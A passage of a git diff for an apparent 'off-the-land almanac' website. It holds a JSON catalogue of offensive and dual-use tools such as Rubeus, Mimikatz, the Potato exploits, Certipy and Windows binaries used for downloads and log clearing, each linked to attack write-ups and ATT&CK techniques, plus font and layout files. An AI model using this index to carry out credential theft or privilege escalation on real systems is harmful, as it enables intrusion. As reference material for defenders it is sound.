org/techniques/T1557/001/"],"count":2},{"id":"wadcoms:Rubeus","name":"Rubeus","source":"WADComs","platform":["Windows","ActiveDirectory"],"references":["https://github.com/GhostPack/Rubeus","https://github.com/GhostPack/Rubeus#asreproast","https://github.com/GhostPack/Rubeus#asktgt","https://github.com/GhostPack/Rubeus#brute","https://github.com/GhostPack/Rubeus#kerberoast","https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/constrained-delegation","https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation","https://www.thehacker.recipes/ad/movement/kerberos/ptt","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/diamond-ticket","https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-the-ticket","https://attack.mitre.org/techniques/T1558/","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket","https://attack.mitre.org/techniques/T1558/001/","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation"],"count":15},{"id":"wadcoms:SMBClient","name":"SMBClient","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://www.samba.org/samba/docs/current/man-html/smbclient.1.html","https://www.madirish.net/59"],"count":5},{"id":"wadcoms:SMBMap","name":"SMBMap","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/ShawnDEvans/smbmap","https://www.nopsec.com/blog/smbmap-wield-it-like-the-creator/"],"count":3},{"id":"wadcoms:SafetyKatz","name":"SafetyKatz","source":"WADComs","platform":["Windows"],"references":["https://github.com/GhostPack/SafetyKatz","https://www.harmj0y.net/blog/redteaming/ghostpack/"],"count":1},{"id":"wadcoms:Seatbelt","name":"Seatbelt","source":"WADComs","platform":["Windows"],"references":["https://github.com/GhostPack/Seatbelt","https://www.harmj0y.net/blog/redteaming/ghostpack/"],"count":1},{"id":"wadcoms:SharpDump","name":"SharpDump","source":"WADComs","platform":["Windows"],"references":["https://github.com/GhostPack/SharpDump","https://www.harmj0y.net/blog/redteaming/ghostpack/"],"count":1},{"id":"wadcoms:SharpHound","name":"SharpHound","source":"WADComs","platform":["Windows","ActiveDirectory"],"references":["https://github.com/BloodHoundAD/SharpHound3","https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html","https://bloodhound.specterops.io/collect-data/ce-collection/sharphound","https://github.com/ZishanAdThandar/pentest/blob/main/notes/ActiveDirectory.md#bloodhound"],"count":2},{"id":"wadcoms:SharpLDAPmonitor","name":"SharpLDAPmonitor","source":"WADComs","platform":["Windows","ActiveDirectory"],"references":["https://github.com/p0dalirius/LDAPmonitor/tree/master/csharp"],"count":1},{"id":"wadcoms:SharpUp","name":"SharpUp","source":"WADComs","platform":["Windows"],"references":["https://github.com/GhostPack/SharpUp","https://www.harmj0y.net/blog/redteaming/ghostpack/"],"count":1},{"id":"wadcoms:SharpWMI","name":"SharpWMI","source":"WADComs","platform":["Windows","ActiveDirectory"],"references":["https://github.com/GhostPack/SharpWMI","https://www.harmj0y.net/blog/redteaming/ghostpack/"],"count":1},{"id":"wadcoms:Snaffler","name":"Snaffler","source":"WADComs","platform":["Windows","ActiveDirectory"],"references":["https://github.com/SnaffCon/Snaffler"],"count":1},{"id":"wadcoms:Windapsearch","name":"Windapsearch","source":"WADComs","platform":["Linux","Windows"],"references":["https://github.com/ropnop/windapsearch","https://www.attackdebris.com/?p=470"],"count":1},{"id":"wadcoms:bloodyAD","name":"bloodyAD","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/CravateRouge/bloodyAD","https://adminions.ca/books/active-directory-enumeration-and-exploitation/page/bloodyad","https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology","https://www.thehacker.recipes/ad/movement/dacl/grant-rights","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse","https://www.thehacker.recipes/ad/movement/dacl/addmember","https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation","https://www.thehacker.recipes/ad/movement/kerberos/asreproast","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast","https://www.thehacker.recipes/ad/movement/dacl/grant-ownership","https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword","https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials","https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab"],"count":9},{"id":"wadcoms:enum4linux","name":"enum4linux","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/cddmp/enum4linux-ng"],"count":1},{"id":"wadcoms:lsassy","name":"lsassy","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://en.hackndo.com/remote-lsass-dump-passwords/","https://github.com/login-securite/lsassy?tab=readme-ov-file"],"count":1},{"id":"wadcoms:targetedKerberoast","name":"targetedKerberoast","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/ShutdownRepo/targetedKerberoast"],"count":1},{"id":"wadcoms:winPEAS","name":"winPEAS","source":"WADComs","platform":["Windows"],"references":["https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS","https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASexe/README.md","https://book.hacktricks.xyz/windows/windows-local-privilege-escalation"],"count":1},{"id":"wadcoms:adidnsdump","name":"adidnsdump","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/dirkjanm/adidnsdump","https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/","https://attack.mitre.org/techniques/T1590/002/"],"count":1},{"id":"wadcoms:Certify","name":"Certify","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/GhostPack/Certify","https://posts.specterops.io/certified-pre-owned-d95910965cd2","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"],"count":1},{"id":"wadcoms:Certipy","name":"Certipy","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/ly4k/Certipy","https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-and-some-thoughts-on-mitigations-c9d38edc7723","https://www.thehacker.recipes/ad/movement/adcs","https://posts.specterops.io/certified-pre-owned-d95910965cd2","https://www.thehacker.recipes/ad/movement/kerberos/pkinit","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation","https://www.thehacker.recipes/ad/movement/adcs/access-controls","https://www.thehacker.recipes/ad/movement/adcs/certificate-templates","https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab","https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials"],"count":12},{"id":"wadcoms:Coercer","name":"Coercer","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/p0dalirius/Coercer","https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/","https://podalirius.net/en/articles/coercer-an-automatic-authentication-coercion-tool/"],"count":2},{"id":"wadcoms:Comsvcs","name":"Comsvcs","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://lolbas-project.github.io/lolbas/Libraries/comsvcs/","https://book.hacktricks.xyz/windows-hardening/stealing-credentials","https://attack.mitre.org/techniques/T1003/001/"],"count":1},{"id":"wadcoms:CVE","name":"CVE","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/Bdenneu/CVE-2022-33679","https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html","https://horizon3.ai/attack-research/attack-blogs/from-cve-2022-33679-to-unauthenticated-kerberoasting/"],"count":1},{"id":"wadcoms:DFSCoerce","name":"DFSCoerce","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/Wh04m1001/DFSCoerce","https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-dfsnm"],"count":1},{"id":"wadcoms:DonPAPI","name":"DonPAPI","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/login-securite/DonPAPI","https://www.login-securite.com/2022/03/28/donpapi/"],"count":1},{"id":"wadcoms:EfsPotato","name":"EfsPotato","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/zcgonvh/EfsPotato","https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer"],"count":1},{"id":"wadcoms:GodPotato","name":"GodPotato","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/BeichenDream/GodPotato","https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato","https://attack.mitre.org/techniques/T1134/002/"],"count":1},{"id":"wadcoms:Hashcat","name":"Hashcat","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://hashcat.net/wiki/doku.php?id=example_hashes","https://www.thehacker.recipes/ad/movement/kerberos/asreproast","https://attack.mitre.org/techniques/T1558/004/","https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz","https://attack.mitre.org/techniques/T1003/005/","https://www.thehacker.recipes/ad/movement/kerberos/kerberoast","https://attack.mitre.org/techniques/T1558/003/","https://github.com/evilmog/ntlmv1-multi","https://crack.sh/netntlm/","https://www.thehacker.recipes/ad/movement/ntlm/capture","https://attack.mitre.org/techniques/T1110/002/","https://github.com/fortra/impacket/blob/master/examples/secretsdump.py","https://attack.mitre.org/techniques/T1003/002/"],"count":6},{"id":"wadcoms:John","name":"John","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/openwall/john","https://hashcat.net/wiki/doku.php?id=example_hashes","https://attack.mitre.org/techniques/T1555/005/","https://www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate","https://attack.mitre.org/techniques/T1110/002/"],"count":2},{"id":"wadcoms:JuicyPotatoNG","name":"JuicyPotatoNG","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/antonioCoco/JuicyPotatoNG","https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato"],"count":1},{"id":"wadcoms:Krbrelayx","name":"Krbrelayx","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/dirkjanm/krbrelayx","https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/","https://www.thehacker.recipes/ad/movement/kerberos/delegations/unconstrained"],"count":1},{"id":"wadcoms:LaZagne","name":"LaZagne","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/AlessandroZ/LaZagne","https://book.hacktricks.xyz/windows-hardening/stealing-credentials","https://attack.mitre.org/techniques/T1555/"],"count":1},{"id":"wadcoms:ldapdomaindump","name":"ldapdomaindump","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/dirkjanm/ldapdomaindump","https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap","https://attack.mitre.org/techniques/T1087/002/"],"count":1},{"id":"wadcoms:ldapnomnom","name":"ldapnomnom","source":"DAEMON","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/lkarlslund/ldapnomnom","https://attack.mitre.org/techniques/T1087/002/"],"count":1},{"id":"wadcoms:ldeep","name":"ldeep","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/franc-pentest/ldeep","https://www.hackingarticles.in/active-directory-enumeration-ldeep/","https://attack.mitre.org/techniques/T1087/002/"],"count":1},{"id":"wadcoms:MANSPIDER","name":"MANSPIDER","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/blacklanternsecurity/MANSPIDER","https://www.blacklanternsecurity.com/2020-11-04-MANSPIDER/"],"count":1},{"id":"wadcoms:Mimikatz","name":"Mimikatz","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/gentilkiwi/mimikatz","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates","https://attack.mitre.org/techniques/T1552/004/","https://www.dcshadow.com/","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcshadow","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync","https://attack.mitre.org/techniques/T1003/006/","https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords","https://attack.mitre.org/techniques/T1555/004/","https://book.hacktricks.xyz/windows-hardening/stealing-credentials","https://attack.mitre.org/techniques/T1003/001/","https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz","https://attack.mitre.org/techniques/T1003/002/","https://attack.mitre.org/techniques/T1003/004/","https://book.hacktricks.xyz/windows-hardening/ntlm/pass-the-hash","https://attack.mitre.org/techniques/T1550/002/","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-the-ticket","https://attack.mitre.org/techniques/T1550/003/","https://adsecurity.org/?p=1275","https://attack.mitre.org/techniques/T1556/001/"],"count":10},{"id":"wadcoms:Nanodump","name":"Nanodump","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/fortra/nanodump","https://book.hacktricks.xyz/windows-hardening/stealing-credentials","https://attack.mitre.org/techniques/T1003/001/"],"count":1},{"id":"wadcoms:Nltest","name":"Nltest","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)","https://attack.mitre.org/techniques/T1482/","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"],"count":1},{"id":"wadcoms:noPac","name":"noPac","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/Ridter/noPac","https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"],"count":2},{"id":"wadcoms:PowerMad","name":"PowerMad","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/Kevin-Robertson/Powermad","https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation"],"count":1},{"id":"wadcoms:PowerUpSQL","name":"PowerUpSQL","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/NetSPI/PowerUpSQL","https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/","https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server","https://www.netspi.com/blog/technical-blog/network-penetration-testing/finding-sensitive-data-domain-sql-servers-powerupsql/","https://www.netspi.com/blog/technical-blog/network-penetration-testing/establishing-registry-persistence-via-sql-server-powerupsql/"],"count":3},{"id":"wadcoms:PowerView","name":"PowerView","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/PowerShellMafia/PowerSploit","https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993","https://www.thehacker.recipes/ad/movement/dacl/","https://www.thehacker.recipes/ad/movement/dacl/grant-rights.html","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology","https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e","https://wald0.com/?p=112","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast"],"count":11},{"id":"wadcoms:pre2k","name":"pre2k","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/garrettfoster13/pre2k","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"],"count":2},{"id":"wadcoms:PrinterBug","name":"PrinterBug","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/dirkjanm/krbrelayx","https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn"],"count":1},{"id":"wadcoms:PrintSpoofer","name":"PrintSpoofer","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/itm4n/PrintSpoofer","https://itm4n.github.io/printspoofer-abusing-impersonation-privileges/","https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer"],"count":1},{"id":"wadcoms:Procdump","name":"Procdump","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://learn.microsoft.com/en-us/sysinternals/downloads/procdump","https://book.hacktricks.xyz/windows-hardening/stealing-credentials","https://attack.mitre.org/techniques/T1003/001/"],"count":1},{"id":"wadcoms:pyGPOAbuse","name":"pyGPOAbuse","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/Hackndo/pyGPOAbuse","https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e","https://attack.mitre.org/techniques/T1484/001/"],"count":1},{"id":"wadcoms:Pypykatz","name":"Pypykatz","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/skelsec/pypykatz","https://book.hacktricks.xyz/windows-hardening/stealing-credentials","https://attack.mitre.org/techniques/T1003/001/"],"count":1},{"id":"wadcoms:RoguePotato","name":"RoguePotato","source":"DAEMON","platform":["Windows","Linux","ActiveDirectory"],"references":["https://github.com/antonioCoco/RoguePotato","https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer"],"count":1},{"id":"wadcoms:sam","name":"sam","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/WazeHell/sam-the-admin","https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing"],"count":1},{"id":"wadcoms:ShadowCoerce","name":"ShadowCoerce","source":"DAEMON","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/ShutdownRepo/ShadowCoerce","https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-fsrvp"],"count":1},{"id":"wadcoms:SharpChrome","name":"SharpChrome","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/GhostPack/SharpDPAPI","https://book.hacktricks.xyz/windows-hardening/stealing-credentials","https://attack.mitre.org/techniques/T1555/003/"],"count":1},{"id":"wadcoms:SharpDPAPI","name":"SharpDPAPI","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/GhostPack/SharpDPAPI","https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords","https://attack.mitre.org/techniques/T1555/004/"],"count":1},{"id":"wadcoms:SharpGPOAbuse","name":"SharpGPOAbuse","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/FSecureLABS/SharpGPOAbuse","https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e","https://attack.mitre.org/techniques/T1484/001/"],"count":2},{"id":"wadcoms:SharpView","name":"SharpView","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/tevora-threat/SharpView","https://github.com/PowerShellMafia/PowerSploit","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"],"count":1},{"id":"wadcoms:SpoolSample","name":"SpoolSample","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/leechristensen/SpoolSample","https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn"],"count":1},{"id":"wadcoms:SweetPotato","name":"SweetPotato","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/CCob/SweetPotato","https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer"],"count":1},{"id":"wadcoms:Whisker","name":"Whisker","source":"DAEMON","platform":["Windows","ActiveDirectory"],"references":["https://github.com/eladshamir/Whisker","https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials","https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab"],"count":1},{"id":"daemon:kubectl","name":"kubectl","source":"DAEMON","platform":["Linux","Windows"],"references":["https://attack.mitre.org/techniques/T1609/","https://kubernetes.io/docs/reference/kubectl/generated/kubectl_exec/"],"count":9},{"id":"daemon:crictl","name":"crictl","source":"DAEMON","platform":["Linux"],"references":["https://kubernetes.io/docs/tasks/debug/debug-cluster/crictl/","https://attack.mitre.org/techniques/T1609/"],"count":2},{"id":"daemon:ctr","name":"ctr","source":"DAEMON","platform":["Linux"],"references":["https://hacktricks.wiki/en/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.html","https://attack.mitre.org/techniques/T1611/"],"count":1},{"id":"daemon:runc","name":"runc","source":"DAEMON","platform":["Linux"],"references":["https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation","https://attack.mitre.org/techniques/T1611/"],"count":1},{"id":"daemon:docker","name":"docker","source":"DAEMON","platform":["Linux"],"references":["https://docs.docker.com/reference/cli/docker/container/export/","https://docs.docker.com/reference/cli/docker/image/save/","https://attack.mitre.org/techniques/T1005/"],"count":1},{"id":"daemon:nerdctl","name":"nerdctl","source":"DAEMON","platform":["Linux"],"references":["https://github.com/containerd/nerdctl/blob/main/docs/command-reference.md","https://attack.mitre.org/techniques/T1611/"],"count":1},{"id":"daemon:msiexec","name":"msiexec.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Msiexec.yml","https://attack.mitre.org/techniques/T1218/007/"],"count":1},{"id":"daemon:curl","name":"curl.exe","source":"DAEMON","platform":["Windows","Linux","macOS"],"references":["https://curl.se/docs/manpage.html","https://curl.se/windows/"],"count":1},{"id":"daemon:tar","name":"tar.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Tar.yml","https://learn.microsoft.com/en-us/windows/tar/"],"count":1},{"id":"daemon:ssh","name":"ssh.exe","source":"DAEMON","platform":["Windows","Linux","macOS"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Ssh.yml","https://attack.mitre.org/techniques/T1202/"],"count":1},{"id":"daemon:scp","name":"scp.exe","source":"DAEMON","platform":["Windows","Linux","macOS"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Scp.yml","https://attack.mitre.org/techniques/T1202/"],"count":1},{"id":"daemon:msedge","name":"msedge.exe","source":"DAEMON","platform":["Windows","macOS","Linux"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Msedge.yml","https://twitter.com/mrd0x/status/1478234484881436672"],"count":1},{"id":"daemon:mpcmdrun","name":"MpCmdRun.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/MpCmdRun.yml","https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-can-ironically-be-used-to-download-malware/"],"count":1},{"id":"daemon:desktopimgdownldr","name":"desktopimgdownldr.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Desktopimgdownldr.yml","https://www.sentinelone.com/labs/living-off-windows-land-a-new-native-file-downldr/"],"count":1},{"id":"daemon:appinstaller","name":"AppInstaller.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/AppInstaller.yml","https://attack.mitre.org/techniques/T1105/"],"count":1},{"id":"daemon:onedrivestandaloneupdater","name":"OneDriveStandaloneUpdater.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/OneDriveStandaloneUpdater.yml","https://attack.mitre.org/techniques/T1105/"],"count":1},{"id":"daemon:finger","name":"finger.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Finger.yml","https://attack.mitre.org/techniques/T1105/"],"count":1},{"id":"daemon:wsl","name":"wsl.exe","source":"DAEMON","platform":["Windows","Linux"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OtherMSBinaries/Wsl.yml","https://attack.mitre.org/techniques/T1202/"],"count":1},{"id":"daemon:winget","name":"winget.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Winget.yml","https://learn.microsoft.com/en-us/windows/package-manager/winget/install"],"count":1},{"id":"daemon:devtunnel","name":"devtunnel.exe","source":"DAEMON","platform":["Windows","Linux","macOS"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/devtunnels/","https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/cli-commands"],"count":1},{"id":"daemon:teams","name":"Teams.exe","source":"DAEMON","platform":["Windows","macOS","Linux"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OtherMSBinaries/Teams.yml","https://attack.mitre.org/techniques/T1218/015/"],"count":1},{"id":"daemon:diskshadow","name":"diskshadow.exe","source":"DAEMON","platform":["Windows"],"references":["https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Diskshadow.yml","https://attack.mitre.org/techniques/T1003/003/"],"count":1},{"id":"daemon:wevtutil","name":"wevtutil.exe","source":"DAEMON","platform":["Windows"],"references":["https://attack.mitre.org/techniques/T1070/001/","https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"],"count":2},{"id":"daemon:powershell","name":"Clear-EventLog","source":"DAEMON","platform":["Windows"],"references":["https://attack.mitre.org/techniques/T1070/001/","https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/clear-eventlog"],"count":6},{"id":"daemon:auditpol","name":"auditpol.exe","source":"DAEMON","platform":["Windows"],"references":["https://attack.mitre.org/techniques/T1562/002/","https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"],"count":1},{"id":"daemon:fsutil","name":"fsutil.exe","source":"DAEMON","platform":["Windows"],"references":["https://attack.mitre.org/techniques/T1070/","https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn"],"count":1},{"id":"daemon:attrib","name":"attrib.exe","source":"DAEMON","platform":["Windows"],"references":["https://attack.mitre.org/techniques/T1564/001/","https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib"],"count":1},{"id":"daemon:reg","name":"reg.exe","source":"DAEMON","platform":["Windows"],"references":["https://attack.mitre.org/techniques/T1562/001/","https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/security-malware-windows-defender-disableantispyware"],"count":1},{"id":"daemon:netsh","name":"netsh.exe","source":"DAEMON","platform":["Windows"],"references":["https://attack.mitre.org/techniques/T1562/004/","https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall"],"count":1},{"id":"daemon:byovd","name":"BYOVD (vulnerable driver)","source":"DAEMON","platform":["Windows"],"references":["https://attack.mitre.org/techniques/T1068/","https://www.loldrivers.io/"],"count":1}]
+\ No newline at end of file
diff --git a/src/fonts/archivo-400.woff2 b/src/fonts/archivo-400.woff2
Binary files differ.
diff --git a/src/fonts/archivo-500.woff2 b/src/fonts/archivo-500.woff2
Binary files differ.
diff --git a/src/fonts/archivo-600.woff2 b/src/fonts/archivo-600.woff2
Binary files differ.
diff --git a/src/fonts/archivo-700.woff2 b/src/fonts/archivo-700.woff2
Binary files differ.
diff --git a/src/fonts/dm-mono-300.woff2 b/src/fonts/dm-mono-300.woff2
Binary files differ.
diff --git a/src/fonts/dm-mono-400-italic.woff2 b/src/fonts/dm-mono-400-italic.woff2
Binary files differ.
diff --git a/src/fonts/dm-mono-400.woff2 b/src/fonts/dm-mono-400.woff2
Binary files differ.
diff --git a/src/fonts/dm-mono-500.woff2 b/src/fonts/dm-mono-500.woff2
Binary files differ.
diff --git a/src/fonts/eb-garamond-600.woff2 b/src/fonts/eb-garamond-600.woff2
Binary files differ.
diff --git a/src/fonts/ibm-plex-mono-400.woff2 b/src/fonts/ibm-plex-mono-400.woff2
Binary files differ.
diff --git a/src/fonts/ibm-plex-mono-600.woff2 b/src/fonts/ibm-plex-mono-600.woff2
Binary files differ.
diff --git a/src/fonts/jetbrains-mono-400-italic-latin.woff2 b/src/fonts/jetbrains-mono-400-italic-latin.woff2
Binary files differ.
diff --git a/src/fonts/jetbrains-mono-400-latin.woff2 b/src/fonts/jetbrains-mono-400-latin.woff2
Binary files differ.
diff --git a/src/fonts/jetbrains-mono-700-latin.woff2 b/src/fonts/jetbrains-mono-700-latin.woff2
Binary files differ.
diff --git a/src/fonts/noto-sans-display-var-latin.woff2 b/src/fonts/noto-sans-display-var-latin.woff2
Binary files differ.
diff --git a/src/fonts/old-standard-tt-700-wordmark.woff2 b/src/fonts/old-standard-tt-700-wordmark.woff2
Binary files differ.
diff --git a/src/layouts/Base.astro b/src/layouts/Base.astro
@@ -0,0 +1,96 @@
+---
+import { ClientRouter } from 'astro:transitions';
+import Header from '../components/Header.astro';
+import Footer from '../components/Footer.astro';
+import SearchModal from '../components/SearchModal.astro';
+import { url } from '../lib/url';
+import '../styles/app.css';
+// Preload the two faces that paint above the fold — the wordmark in the
+// masthead and the DM Mono the masthead/labels use — so the header does not flash
+// its fallback on first paint. The rest load on demand via @font-face.
+import notoWordmark from '../fonts/noto-sans-display-var-latin.woff2';
+import dmMono from '../fonts/dm-mono-400.woff2';
+
+interface Props {
+ title?: string;
+ description?: string;
+ railless?: boolean;
+}
+const {
+ title = 'DÆMONBins — the Off-the-Land Almanac',
